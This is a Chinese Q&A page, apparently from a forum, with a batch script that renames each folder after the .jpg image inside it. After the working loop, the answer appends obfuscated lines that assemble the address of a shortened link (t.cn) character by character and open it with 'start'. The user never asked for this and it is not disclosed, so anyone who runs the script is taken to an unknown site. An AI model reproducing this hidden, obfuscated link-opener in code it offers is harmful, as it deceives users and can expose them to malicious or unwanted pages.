bat下如何将文件夹名字改成文件夹里面的文件名

2025-04-07 18:46:47
推荐回答(1个)
回答(1):

每个文件夹里面只有一张图片文件对吗?图片文件的格式是jpg吗?

我就按只有一张jpg格式的图片来写吧!

@echo off & title 重命名文件夹为图片名 By 依梦琴瑶

for /d %%a in (*) do (
for %%b in ("%%~a\*.jpg") do (
ren "%%~a" "%%~nb"
)
)
pause

set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit

如有问题,请追问。